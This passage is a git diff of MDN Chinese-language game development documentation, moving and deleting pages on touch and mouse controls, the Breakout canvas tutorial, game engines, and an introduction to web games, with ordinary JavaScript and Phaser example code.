For the actual gameplay, instead of creating more buttons and covering the small mobile screen with them, we can use something a little bit different: we'll create invisible areas which respond to the given action. From a design point of view, it is better to make the field of activity bigger without covering half of the screen with button images. For example, tapping on the right side of the screen will fire the weapon:

+ +
this.buttonShoot = this.add.button(this.world.width*0.5, 0, 'button-alpha', null, this);
+this.buttonShoot.onInputDown.add(this.goShootPressed, this);
+this.buttonShoot.onInputUp.add(this.goShootReleased, this);
+ +

The code above will create a new button using a transparent image that covers the right half of the screen. You can assign functions on input down and input up separately if you'd like to perform more complicated actions, but in this game touching the right side of the screen will simply fire the bullets to the right — this is all we need in this case.

+ +

Moving the player could be managed by creating the four directional buttons, but we can take the advantage of touch screens and drag the player's ship around:

+ +
var player = this.game.add.sprite(30, 30, 'ship');
+player.inputEnabled = true;
+player.input.enableDrag();
+player.events.onDragStart.add(onDragStart, this);
+player.events.onDragStop.add(onDragStop, this);
+
+function onDragStart(sprite, pointer) {
+    // do something when dragging
+}
+ +

We can pull the ship around and do something in the meantime, and react when the drag is stopped. Hauling in Phaser, if enabled, will work out of the box — you don't have to set the position of the sprite yourself manually, so you could leave the onDragStart() function empty, or place some debug output to see if it's working correctly. The pointer element contains the x and y variables storing the current position of the dragged element.

+ +

Dedicated plugins

+ +

You could go even further and use dedicated plugins like Virtual Joystick — this is a paid, official Phaser plugin, but you can find free and open source alternatives. The initialization of Virtual Joystick looks like this:

+ +
this.pad = this.game.plugins.add(Phaser.VirtualJoystick);
+this.stick = this.pad.addStick(30, 30, 80, 'generic');
+ +

In the create() function of the Game state we're creating a virtual pad and a generic stick that has four directional virtual buttons by default. This is placed 30 pixels from the top and left edges of the screen and is 80 pixels wide.

+ +

The stick being pressed can be handled during the gameplay in the update function like so:

+ +
if(this.stick.isDown) {
+    // move the player
+}
+ +

We can adjust the player's velocity based on the current angle of the stick and move him appropriately.

+ +

摘要

+ +

这篇文章主要讲解如何在移动端实现触摸控制; 下一篇文章我们将看到怎样添加键盘和鼠标支持。

+ +

{{NextMenu("Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard", "Games/Techniques/Control_mechanisms")}}

diff --git "a/files/zh-cn/games/techniques/control_mechanisms/\347\247\273\345\212\250\347\253\257\350\247\246\346\221\270\346\216\247\345\210\266/index.html" "b/files/zh-cn/games/techniques/control_mechanisms/\347\247\273\345\212\250\347\253\257\350\247\246\346\221\270\346\216\247\345\210\266/index.html" deleted file mode 100644 index e9a9abaf15..0000000000 --- "a/files/zh-cn/games/techniques/control_mechanisms/\347\247\273\345\212\250\347\253\257\350\247\246\346\221\270\346\216\247\345\210\266/index.html" +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: 移动端触摸控制 -slug: Games/Techniques/Control_mechanisms/移动端触摸控制 -translation_of: Games/Techniques/Control_mechanisms/Mobile_touch ---- -
{{GamesSidebar}}
- -

{{NextMenu("Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard", "Games/Techniques/Control_mechanisms")}}

- -

未来手游一定是Web的天下,许多开发在游戏开发过程中首先选择手游 — 既然如此,触摸控制是不可少的。我们将在本教程中了解怎样简单地在移动端H5游戏中实现触摸控制 ,只要移动端支持触摸,你就可以尽情的玩。

- -

说明:游戏 Captain Rogers: Battle at Andromeda 是基于Phaser 和Phaser-based管理控制,但它也可以用纯JavaScript实现。使用Phaser的好处它提供了辅助变量和方法可以直接调用,有助于快速的开发游戏,这需要根据项目实际情况选择。

- -

纯 JavaScript 方式实现

- -

我们可以实现自己的触摸事件 — 给document添加事件监听,并传入自定义功能的方法,非常简单:

- -
var el = document.getElementsByTagName("canvas")[0];
-el.addEventListener("touchstart", handleStart);
-el.addEventListener("touchmove", handleMove);
-el.addEventListener("touchend", handleEnd);
-el.addEventListener("touchcancel", handleCancel);
- -

这样, 在移动设备上屏幕上触摸游戏的 {{htmlelement("canvas")}} 将触发这些事件,因为我们就可以随意操控游戏(如:移动太空船)。 事件如下所示:

- - - -
-

说明: 这篇 touch events 参考文章提供了更多的实例和介绍。

-
- -

纯JavaScript示例

- -

这个实现了移动端触摸的little demo代码已经放到了GibHub上,我们下载这个示例就可以实现在移动端屏幕上移动飞船。

- -

我们将两种事件:touchstart touchmove 放到一个方法里处理. 为什么呢? touchHandler 方法定义的飞船位置变量适合下面两种情况下: 当玩家触摸时,但不移动它(touchstart)和当手指在屏幕上开始移动 (touchmove):

- -
document.addEventListener("touchstart", touchHandler);
-document.addEventListener("touchmove", touchHandler);
- -

touchHandler 方法的代码如下:

- -
function touchHandler(e) {
-    if(e.touches) {
-        playerX = e.touches[0].pageX - canvas.offsetLeft - playerWidth / 2;
-        playerY = e.touches[0].pageY - canvas.offsetTop - playerHeight / 2;
-        output.innerHTML = "Touch: "+ " x: " + playerX + ", y: " + playerY;
-        e.preventDefault();
-    }
-}
- -

If the touch occurs (touches object is not empty), then we will have all the info we need in that object. We can get the first touch (e.touches[0], our example is not multitouch-enabled), extract the pageX and pageY variables and set the player's ship position on the screen by subtracting the Canvas offset (distance from the Canvas and the edge of the screen) and half the player's width and height.

- -

Touch controls for the player's ship, with visible output of the x and y position.

- -

To see if it's working correctly we can output the x and y positions using the output element. The preventDefault() function is needed to prevent the browser from moving — without it you'd have the default behaviour, and the Canvas would be dragged around the page, which would show the browser scroll bars and look messy.

- -

Touch events in Phaser

- -

We don't have to do this on our own; frameworks like Phaser offer systems for managing touch events for us — see managing the touch events.

- -

Pointer theory

- -

A pointer represents a single finger on the touch screen. Phaser starts two pointers by default, so two fingers can perform an action at once. Captain Rogers is a simple game — it can be controlled by two fingers, the left one moving the ship and the right one controlling the ship's gun. There's no multitouch or gestures — everything is handled by single pointer inputs.

- -

You can add more pointers to the game by using; this.game.input.addPointer up to ten pointers can be managed simultaneously. The most recently used pointer is available in the this.game.input.activePointer object — the most recent finger active on the screen.

- -

If you need to access a specific pointer, they are all available at, this.game.input.pointer1this.game.input.pointer2, etc. They are assigned dynamically, so if you put three fingers on the screen, then, pointer1pointer2, and pointer3 will be active. Removing the second finger, for example, won't affect the other two, and setting it back again will use the first available property, so pointer2 will be used again.

- -

You can quickly get the coordinates of the most recently active pointer via the this.game.input.x and this.game.input.y variables.

- -

Input events

- -

Instead of using the pointers directly it is also possible to listen for this.game.input events, like onDown, onUp, onTap and onHold:

- -
this.game.input.onDown.add(itemTouched, this);
-
-function itemTouched(pointer) {
-    // do something
-}
- -

The itemTouched() function will be executed when the onDown event is dispatched by touching the screen. The pointer variable will contain the information about the pointer that activated the event.

- -

This approach uses the generally available this.game.input object, but you can also detect the actions on any game objects like sprites or buttons by using onInputOver, onInputOut, onInputDown, onInputUp, onDragStart, or onDragStop:

- -
this.button.events.onInputOver.add(itemTouched, this);
-
-function itemTouched(button, pointer) {
-    // do something
-}
- -

That way you'll be able to attach an event to any object in the game, like the player's ship, and react to the actions performed by the user.

- -

An additional advantage of using Phaser is that the buttons you create will take any type of input, whether it's a touch on mobile or a click on desktop — the framework sorts this out in the background for you.

- -

Implementation

- -

The easiest way to add an interactive object that will listen for user input is to create a button:

- -
var buttonEnclave = this.add.button(10, 10, 'logo-enclave', this.clickEnclave, this);
- -

This one is formed in the MainMenu state — it will be placed ten pixels from the top left corner of the screen, use the logo-enclave image, and execute the clickEnclave() function when it is touched. This will work on mobile and desktop out of the box. There are a few buttons in the main menu, including the one that will start the game.

- -

For the actual gameplay, instead of creating more buttons and covering the small mobile screen with them, we can use something a little bit different: we'll create invisible areas which respond to the given action. From a design point of view, it is better to make the field of activity bigger without covering half of the screen with button images. For example, tapping on the right side of the screen will fire the weapon:

- -
this.buttonShoot = this.add.button(this.world.width*0.5, 0, 'button-alpha', null, this);
-this.buttonShoot.onInputDown.add(this.goShootPressed, this);
-this.buttonShoot.onInputUp.add(this.goShootReleased, this);
- -

The code above will create a new button using a transparent image that covers the right half of the screen. You can assign functions on input down and input up separately if you'd like to perform more complicated actions, but in this game touching the right side of the screen will simply fire the bullets to the right — this is all we need in this case.

- -

Moving the player could be managed by creating the four directional buttons, but we can take the advantage of touch screens and drag the player's ship around:

- -
var player = this.game.add.sprite(30, 30, 'ship');
-player.inputEnabled = true;
-player.input.enableDrag();
-player.events.onDragStart.add(onDragStart, this);
-player.events.onDragStop.add(onDragStop, this);
-
-function onDragStart(sprite, pointer) {
-    // do something when dragging
-}
- -

We can pull the ship around and do something in the meantime, and react when the drag is stopped. Hauling in Phaser, if enabled, will work out of the box — you don't have to set the position of the sprite yourself manually, so you could leave the onDragStart() function empty, or place some debug output to see if it's working correctly. The pointer element contains the x and y variables storing the current position of the dragged element.

- -

Dedicated plugins

- -

You could go even further and use dedicated plugins like Virtual Joystick — this is a paid, official Phaser plugin, but you can find free and open source alternatives. The initialization of Virtual Joystick looks like this:

- -
this.pad = this.game.plugins.add(Phaser.VirtualJoystick);
-this.stick = this.pad.addStick(30, 30, 80, 'generic');
- -

In the create() function of the Game state we're creating a virtual pad and a generic stick that has four directional virtual buttons by default. This is placed 30 pixels from the top and left edges of the screen and is 80 pixels wide.

- -

The stick being pressed can be handled during the gameplay in the update function like so:

- -
if(this.stick.isDown) {
-    // move the player
-}
- -

We can adjust the player's velocity based on the current angle of the stick and move him appropriately.

- -

摘要

- -

这篇文章主要讲解如何在移动端实现触摸控制; 下一篇文章我们将看到怎样添加键盘和鼠标支持。

- -

{{NextMenu("Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard", "Games/Techniques/Control_mechanisms")}}

diff --git "a/files/zh-cn/games/tools/\345\274\225\346\223\216\345\222\214\345\267\245\345\205\267/index.html" "b/files/zh-cn/games/tools/\345\274\225\346\223\216\345\222\214\345\267\245\345\205\267/index.html" deleted file mode 100644 index 082f9e0f39..0000000000 --- "a/files/zh-cn/games/tools/\345\274\225\346\223\216\345\222\214\345\267\245\345\205\267/index.html" +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: 游戏引擎和工具 -slug: Games/Tools/引擎和工具 -translation_of: Games/Tools/Engines_and_tools ---- -
{{GamesSidebar}}
{{IncludeSubnav("/en-US/docs/Games")}}
- -

HTML5 游戏引擎

- -

下面是用HTML5和JavaScript实现的游戏引擎:

- - - -

HTML5 game tools

- - - -

Useful technologies

- -

The following can be useful when developing games based on Web technologies.

- - - -
-

Note: Not every browser supports every part of HTML5. For example, Canvas isn’t supported out of the box by any Internet Explorer version below 9. However, you can use Explorer Canvas to replicate canvas functionality (but that is not ideal and does not perform as well). WebSockets is supported by IE only in IE 10, and it isn’t supported in the stock browser of Android. But again, you can fake this by using Flash for the sockets, such as with Socket.IO. While supported in the latest versions of every other browser, WebGL in Internet Explorer requires at least version 11.

-
- -

Game template

- -

You can use the Mortar Game Stub template to get a quick start on an HTML5 game, or you can use it to get ideas on best practices.

diff --git a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html new file mode 100644 index 0000000000..baa5a514fc --- /dev/null +++ b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html @@ -0,0 +1,113 @@ +--- +title: 收尾工作 +slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/收尾工作 +tags: + - Canvas + - JavaScript + - requestAnimationFrame + - 入门 + - 教程 + - 游戏 + - 生命 +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{Previous("Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

+ +
+

本篇为 Gamedev Canvas tutorial 10节教程中的第10节也是最后一节。完成这篇课程后,你可以在 Gamedev-Canvas-workshop/lesson10.html 找到我们的源代码。

+
+ +

不管我们做什么游戏,它总是存在优化的空间。例如,我们可以为玩家多提供几条命,让他们能在发生一两次失误的情况下顺利完成游戏。或者,我们也可以在渲染代码上下工夫。

+ +

加入生命机制

+ +

在游戏中实现生命机制的思路很直接。让我们先新增一个变量,用来存储其生命值。把下面这行代码和我们声明其它变量的代码放在一起:

+ +
var lives = 3;
+ +

在 canvas 上绘制生命值计数的做法几乎和绘制分数一样——把下面的函数添加到drawScore() 函数后面:

+ +
function drawLives() {
+    ctx.font = "16px Arial";
+    ctx.fillStyle = "#0095DD";
+    ctx.fillText("Lives: "+lives, canvas.width-65, 20);
+}
+ +

当玩家失误时,我们不立即结束游戏,而是减少生命计数,直到为零。在玩家用掉一条命后,我们也可以重置小球和球板位置。那么,在函数 draw() 中将下面三行:

+ +
alert("GAME OVER");
+document.location.reload();
+clearInterval(interval); // Needed for Chrome to end game
+
+ + + + + +

替换为下面的代码,注意到我们加入了一点点逻辑控制:

+ +
lives--;
+if(!lives) {
+    alert("GAME OVER");
+    document.location.reload();
+    clearInterval(interval); // Needed for Chrome to end game
+}
+else {
+    x = canvas.width/2;
+    y = canvas.height-30;
+    dx = 2;
+    dy = -2;
+    paddleX = (canvas.width-paddleWidth)/2;
+}
+ +

现在,当小球碰到屏幕底边时,我们让变量lives 的值减一。如果生命用尽,游戏就宣告结束;否则就重置小球与球板的位置,以及小球的速度。

+ +

渲染生命值

+ +

现在只需在 draw() 函数内调用drawLives() 即可。让我们把它加到drawScore() 的下一行:

+ +
drawLives();
+
+ +

用 requestAnimationFrame() 优化渲染

+ +

现在让我们处理一些与游戏机制无关,但与画面渲染相关的东西。和我们目前使用{{domxref("windowTimers.setInterval()", "setInterval()")}} 实现的固定帧率渲染相比,{{domxref("window.requestAnimationFrame", "requestAnimationFrame")}} 能让浏览器更好地渲染画面。让我们把下面这行代码:

+ +
var interval = setInterval(draw, 10);
+ +

替换为:

+ +
draw();
+ +

再把代码中的每一处

+ +
clearInterval(interval); // Needed for Chrome to end game
+
+ +

删除。然后,在 draw() 函数的最下方(右花括号之前)加入下面这行代码。 它的作用是使 draw() 函数递归调用自身:

+ +
requestAnimationFrame(draw);
+ +

现在 draw() 函数在 requestAnimationFrame() 的循环中被反复调用,之先前做法最大的不同是,我们将帧率的控制权交给浏览器,而不是固定的 10 毫秒。浏览器会在适当的时机同步帧率,并且只在必要的时候才刷新渲染的图形。这使得我们的动画比之前的 setInterval() 方法更加流畅且高效.

+ +

比较你的代码

+ +

我们的游戏的最终版本已经完成!以上。

+ +

{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/dfh2tpu1/","","395")}}

+ +
+

练习:试着改变生命的数目和球从球板上反弹的角度。

+
+ +

游戏结束——暂时看来!

+ +

祝贺你——你完成了本教程的所有小节!现在,你应该已经掌握 canvas 操纵的基础和 2D 游戏背后的逻辑了。是时候去学习一些框架,继续你的游戏开发之旅了!你可以看看本系列的姊妹篇:用 Phaser 制作 2D 打砖块游戏 或者 Cyber Orb built in Phaser 。或者,你也可以在 MDN 游戏区 中获得灵感和更多知识。

+ +

你也可以回到本教程的目录页。祝编程愉快!

+ +

{{Previous("Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

diff --git a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html new file mode 100644 index 0000000000..cb90cb8773 --- /dev/null +++ b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html @@ -0,0 +1,61 @@ +--- +title: 鼠标控制 +slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/鼠标控制 +tags: + - Canvas + - JavaScript + - 入门 + - 操作控制 + - 教程 + - 游戏 + - 鼠标 +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up")}}

+ +
+

本篇为 Gamedev Canvas tutorial 10节教程中的第9节。在你完成这篇课程之后,你可以在 Gamedev-Canvas-workshop/lesson9.html 找到我们的源代码。

+
+ +

这个游戏实际已经完成,现在让我们着手去润色。我们已经添加过键盘控制,而加入鼠标控制也同样简单。

+ +

监听鼠标移动

+ +

监听鼠标移动甚至比监听按键更简单:只需监听 {{event("mousemove")}} 这个事件即可。把下面这行代码和其它事件监听代码放在一起,在 keyup event 的下一行:

+ +
document.addEventListener("mousemove", mouseMoveHandler, false);
+ +

将球板移动绑定到鼠标移动

+ +

我们可以根据鼠标光标位置来更新球板位置——下面这个函数正是做这件事的。把这个函数加到你的代码中,接在你刚刚加入的那行后面:

+ +
function mouseMoveHandler(e) {
+    var relativeX = e.clientX - canvas.offsetLeft;
+    if(relativeX > 0 && relativeX < canvas.width) {
+        paddleX = relativeX - paddleWidth/2;
+    }
+}
+ +

在这个函数中,我们首先计算 relativeX 的值,它等于鼠标在视窗中的水平位置 (e.clientX) 减去 canvas 元素左边框到视窗左边框的距离 (canvas.offsetLeft) —— 这就得到了 canvas 元素左边框到鼠标的距离。若这个值大于零,且小于 canvas 的宽度,说明鼠标指针落在 canvas 边界内,这时就把 paddleX (等于球板左边缘的坐标)设为 relativeX 减速去球板宽度的一半。这样就确保位移是相对于球板中心进行的。

+ +

现在球板将跟随鼠标指针。不过由于我们将球板移动限制在 canvas 大小范围内,它不会从两边完全消失。

+ +

比较你的代码

+ +

以下是我们的示例代码,以便与您进行比较:

+ +

{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/vt7y5hcp/","","395")}}

+ +
+

练习:调整球板移动的范围,使得整个球板总是可见,而不是在移动到边缘时被遮住一半。

+
+ +

下一步

+ +

现在我们已经拥有一个完整的游戏。我们的系列教程将以一些细节上的调整作为结束。

+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up")}}

diff --git "a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/\346\224\266\345\260\276\345\267\245\344\275\234/index.html" "b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/\346\224\266\345\260\276\345\267\245\344\275\234/index.html" deleted file mode 100644 index baa5a514fc..0000000000 --- "a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/\346\224\266\345\260\276\345\267\245\344\275\234/index.html" +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: 收尾工作 -slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/收尾工作 -tags: - - Canvas - - JavaScript - - requestAnimationFrame - - 入门 - - 教程 - - 游戏 - - 生命 -translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/en-US/docs/Games")}}
- -

{{Previous("Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

- -
-

本篇为 Gamedev Canvas tutorial 10节教程中的第10节也是最后一节。完成这篇课程后,你可以在 Gamedev-Canvas-workshop/lesson10.html 找到我们的源代码。

-
- -

不管我们做什么游戏,它总是存在优化的空间。例如,我们可以为玩家多提供几条命,让他们能在发生一两次失误的情况下顺利完成游戏。或者,我们也可以在渲染代码上下工夫。

- -

加入生命机制

- -

在游戏中实现生命机制的思路很直接。让我们先新增一个变量,用来存储其生命值。把下面这行代码和我们声明其它变量的代码放在一起:

- -
var lives = 3;
- -

在 canvas 上绘制生命值计数的做法几乎和绘制分数一样——把下面的函数添加到drawScore() 函数后面:

- -
function drawLives() {
-    ctx.font = "16px Arial";
-    ctx.fillStyle = "#0095DD";
-    ctx.fillText("Lives: "+lives, canvas.width-65, 20);
-}
- -

当玩家失误时,我们不立即结束游戏,而是减少生命计数,直到为零。在玩家用掉一条命后,我们也可以重置小球和球板位置。那么,在函数 draw() 中将下面三行:

- -
alert("GAME OVER");
-document.location.reload();
-clearInterval(interval); // Needed for Chrome to end game
-
- - - - - -

替换为下面的代码,注意到我们加入了一点点逻辑控制:

- -
lives--;
-if(!lives) {
-    alert("GAME OVER");
-    document.location.reload();
-    clearInterval(interval); // Needed for Chrome to end game
-}
-else {
-    x = canvas.width/2;
-    y = canvas.height-30;
-    dx = 2;
-    dy = -2;
-    paddleX = (canvas.width-paddleWidth)/2;
-}
- -

现在,当小球碰到屏幕底边时,我们让变量lives 的值减一。如果生命用尽,游戏就宣告结束;否则就重置小球与球板的位置,以及小球的速度。

- -

渲染生命值

- -

现在只需在 draw() 函数内调用drawLives() 即可。让我们把它加到drawScore() 的下一行:

- -
drawLives();
-
- -

用 requestAnimationFrame() 优化渲染

- -

现在让我们处理一些与游戏机制无关,但与画面渲染相关的东西。和我们目前使用{{domxref("windowTimers.setInterval()", "setInterval()")}} 实现的固定帧率渲染相比,{{domxref("window.requestAnimationFrame", "requestAnimationFrame")}} 能让浏览器更好地渲染画面。让我们把下面这行代码:

- -
var interval = setInterval(draw, 10);
- -

替换为:

- -
draw();
- -

再把代码中的每一处

- -
clearInterval(interval); // Needed for Chrome to end game
-
- -

删除。然后,在 draw() 函数的最下方(右花括号之前)加入下面这行代码。 它的作用是使 draw() 函数递归调用自身:

- -
requestAnimationFrame(draw);
- -

现在 draw() 函数在 requestAnimationFrame() 的循环中被反复调用,之先前做法最大的不同是,我们将帧率的控制权交给浏览器,而不是固定的 10 毫秒。浏览器会在适当的时机同步帧率,并且只在必要的时候才刷新渲染的图形。这使得我们的动画比之前的 setInterval() 方法更加流畅且高效.

- -

比较你的代码

- -

我们的游戏的最终版本已经完成!以上。

- -

{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/dfh2tpu1/","","395")}}

- -
-

练习:试着改变生命的数目和球从球板上反弹的角度。

-
- -

游戏结束——暂时看来!

- -

祝贺你——你完成了本教程的所有小节!现在,你应该已经掌握 canvas 操纵的基础和 2D 游戏背后的逻辑了。是时候去学习一些框架,继续你的游戏开发之旅了!你可以看看本系列的姊妹篇:用 Phaser 制作 2D 打砖块游戏 或者 Cyber Orb built in Phaser 。或者,你也可以在 MDN 游戏区 中获得灵感和更多知识。

- -

你也可以回到本教程的目录页。祝编程愉快!

- -

{{Previous("Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

diff --git "a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/\351\274\240\346\240\207\346\216\247\345\210\266/index.html" "b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/\351\274\240\346\240\207\346\216\247\345\210\266/index.html" deleted file mode 100644 index cb90cb8773..0000000000 --- "a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/\351\274\240\346\240\207\346\216\247\345\210\266/index.html" +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: 鼠标控制 -slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/鼠标控制 -tags: - - Canvas - - JavaScript - - 入门 - - 操作控制 - - 教程 - - 游戏 - - 鼠标 -translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/en-US/docs/Games")}}
- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up")}}

- -
-

本篇为 Gamedev Canvas tutorial 10节教程中的第9节。在你完成这篇课程之后,你可以在 Gamedev-Canvas-workshop/lesson9.html 找到我们的源代码。

-
- -

这个游戏实际已经完成,现在让我们着手去润色。我们已经添加过键盘控制,而加入鼠标控制也同样简单。

- -

监听鼠标移动

- -

监听鼠标移动甚至比监听按键更简单:只需监听 {{event("mousemove")}} 这个事件即可。把下面这行代码和其它事件监听代码放在一起,在 keyup event 的下一行:

- -
document.addEventListener("mousemove", mouseMoveHandler, false);
- -

将球板移动绑定到鼠标移动

- -

我们可以根据鼠标光标位置来更新球板位置——下面这个函数正是做这件事的。把这个函数加到你的代码中,接在你刚刚加入的那行后面:

- -
function mouseMoveHandler(e) {
-    var relativeX = e.clientX - canvas.offsetLeft;
-    if(relativeX > 0 && relativeX < canvas.width) {
-        paddleX = relativeX - paddleWidth/2;
-    }
-}
- -

在这个函数中,我们首先计算 relativeX 的值,它等于鼠标在视窗中的水平位置 (e.clientX) 减去 canvas 元素左边框到视窗左边框的距离 (canvas.offsetLeft) —— 这就得到了 canvas 元素左边框到鼠标的距离。若这个值大于零,且小于 canvas 的宽度,说明鼠标指针落在 canvas 边界内,这时就把 paddleX (等于球板左边缘的坐标)设为 relativeX 减速去球板宽度的一半。这样就确保位移是相对于球板中心进行的。

- -

现在球板将跟随鼠标指针。不过由于我们将球板移动限制在 canvas 大小范围内,它不会从两边完全消失。

- -

比较你的代码

- -

以下是我们的示例代码,以便与您进行比较:

- -

{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/vt7y5hcp/","","395")}}

- -
-

练习:调整球板移动的范围,使得整个球板总是可见,而不是在移动到边缘时被遮住一半。

-
- -

下一步

- -

现在我们已经拥有一个完整的游戏。我们的系列教程将以一些细节上的调整作为结束。

- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up")}}

diff --git "a/files/zh-cn/games/\347\256\200\344\273\213/index.html" "b/files/zh-cn/games/\347\256\200\344\273\213/index.html" deleted file mode 100644 index 67ffed62c0..0000000000 --- "a/files/zh-cn/games/\347\256\200\344\273\213/index.html" +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Web 游戏开发简介 -slug: Games/简介 -tags: - - 指引 - - 游戏 - - 移动端 -translation_of: Games/Introduction ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/zh-CN/docs/Games")}}
- -

现代的web已经高速发展成为一个可行可靠的平台,它不仅能够用来创建高质量的酷炫游戏,同时也能够用来发布和传播这些游戏。

- -

采用现代网页技术和较新的浏览器,完全有可能做出令人印象深刻的顶级页面游戏。它能够制作的游戏种类可以和桌面端以及原生系统相当。我们这里所说的,并不是很久之前就采用Flash®制作出的简单卡牌游戏或者多人社交游戏。而是牛逼的3D 动作射击游戏,RPG 游戏等等。得益于 JavaScript 实时编译技术性能的大幅提升,以及新开放的 API。在制作运行在浏览器(或者是基于类似 Firefox OS 的 HTML5技术支持的设备)上的游戏时,我们不用妥协。

- - - -

HTML5游戏平台

- -

你可以真正地为你的游戏考虑下 Web 来作为更好的目标平台。我们总是喜欢说,"the Web is the platform."  让我们浏览下 Web 平台的核心部分:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
功能技术
音频Web Audio API
图形WebGL (OpenGL ES 2.0)
输入Touch events, Gamepad API, 设备传感器, WebRTC, Full Screen API, Pointer Lock API
语言JavaScript (或是 C/C++ 使用 Emscripten 来编译成 JavaScript)
-

网络

-
WebRTC 和/或 WebSockets
存储IndexedDB 或是 "云(存储)"
WebHTML, CSS, SVG, Social API (还有其他很多很多东西!)
- -

商业案例

- -

作为一名游戏开发者,无论你是独立的个人还是大型游戏工作室,你想知道你的下一个游戏项目瞄准 Web 是有意义的 。让我们看看 Web 是如何帮到你的 。

- -
    -
  1. -
    Web 触手可及;它无处不在。如今可以看到,用 HTML5 构建的游戏运行在智能手机,平板,个人电脑和智能电视。
    -
  2. -
  3. 提高营销和曝光度。你不限于在某商店推广你的游戏。相反,你可以像其他媒体一样在 Web 宣传和推广你的游戏,利用网络的固有性和共享性接触新客户。
  4. -
  5. 你可以掌握最重要的事项:支付。你不必交付超过收入的 30% 给他人,仅仅就因为你的游戏在他们的生态系统。相反,你可以管理任何你想要的和使用任何你喜欢的付款处理服务。
  6. -
  7. 拥有更多控制权的是,只要你愿意,你可以随时更新游戏。 不必着急等待审核通过,仅当其他公司的某某人决定你的关键 bug 修复是否会在今天或明天交付。
  8. -
  9. 掌握你的数据分析! 不必依靠别人作出所有决定,你需要什么分析,你可以收集自己的 -- 或选择你最喜欢的第三方平台, 来收集有关你的销售和游戏产生的信息。
  10. -
  11. 你可以用你的方式更密切地管理你的客户关系。 再也不用苦苦等待只能通过应用商店有限的机制来过滤客户的反馈。用你想要的方式与客户交流, 没有中间人。
  12. -
  13. 你的玩家可以随时随地玩你的游戏。因为 Web 是无处不在的,你的顾客可以在手机,平板,家庭手提,个人电脑或其他设备上关注游戏动态。
  14. -
- -

针对游戏开发者的Web技术

- -

技术同行们, 让我们发掘出所有关于Web的APIs,将它们呈现给所有的游戏开发者们。下面是一个比较完整的列表,可以一窥Web究竟能够做些什么:

- -
-
-
Full Screen API
-
这个简单的API能够让你的游戏占据整个屏幕,从而使玩家沉浸在动作中
-
Gamepad API
-
如果你想你的用户能够使用游戏手柄或其他游戏控制器来控制游戏,你需要这个API
-
HTML and CSS
-
二者合璧,可以构建,设计并对你的游戏界面布局,HTML有一个提供2D图形的元素,即{{HTMLElement("canvas")}}
-
HTML audio
-
 {{HTMLElement("audio")}} 元素可以用来播放一些简单的音效和音乐。如果你想要更多的参与,可以学习Web Audio API 来深入了解音频处理的力量!
-
IndexedDB
-
一个强大的数据存储API,用来在电脑或者设备上保存用户自己的数据。一个很好的方法用来保存游戏的状态和其它最近的信息,这样在需要的时候不用每次重新下载。也可以用来让你的游戏即使用户没有链接到网络也能继续玩 (例如在飞机上的数小时)。
-
JavaScript
-
JavaScript是网络上使用的编程语言,在现代浏览器中正在快速发展,而且一直在快速发展。 使用它的力量为您的游戏编写代码,或者使用EmscriptenAsm.js等技术轻松移植您现有的游戏。
-
Pointer Lock API
-
指针锁定API允许您在游戏界面中锁定鼠标或其他指针设备,以便您不用绝对定位光标就可以获得坐标变化值,从而准确地判断用户正在做什么,并且还可以防止用户意外地进入另一块屏幕或别的什么地方,从而导致误操作。
-
SVG (可缩放矢量图形)
-
